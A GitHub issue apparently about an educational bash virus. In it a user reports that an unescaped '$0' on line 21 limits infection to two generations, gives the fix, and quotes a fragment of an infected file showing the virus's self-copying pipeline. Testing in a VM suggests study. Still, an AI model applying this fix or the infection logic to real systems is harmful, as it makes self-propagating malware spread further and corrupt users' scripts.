Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Missing Escape of $ results in limited infection #1

Open
Kaedo opened this issue Sep 29, 2023 · 0 comments
Open

Missing Escape of $ results in limited infection #1

Kaedo opened this issue Sep 29, 2023 · 0 comments

Comments

@Kaedo
Copy link

Kaedo commented Sep 29, 2023

Hey Mr. Arceri,
thank you for sharing the bash virus.
I encountered a little bug in the line 21. It does lack an escape character for the '$' which prevents an infection after the second generation.
echo "tail -n 36 $0 | ...'
should be
echo "tail -n 36 \$0 | ...'

Otherwise, the first 3 ordering commands of the infected file will reference the original virus and not itself.
See the following example of dummy.sh after the execution of the virus in the vagrant vm. Here ./virus.sh. should be $0.

#dummy.sh ... Lorem ipsum dolor sit amet, tail -n 36 ./virus.sh | awk '{ print($NF" "$0) }' | cut -d"@" -f2- | sort -g | cut -d" " -f2- > /tmp/.ls ...

Cheers,
Martin

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant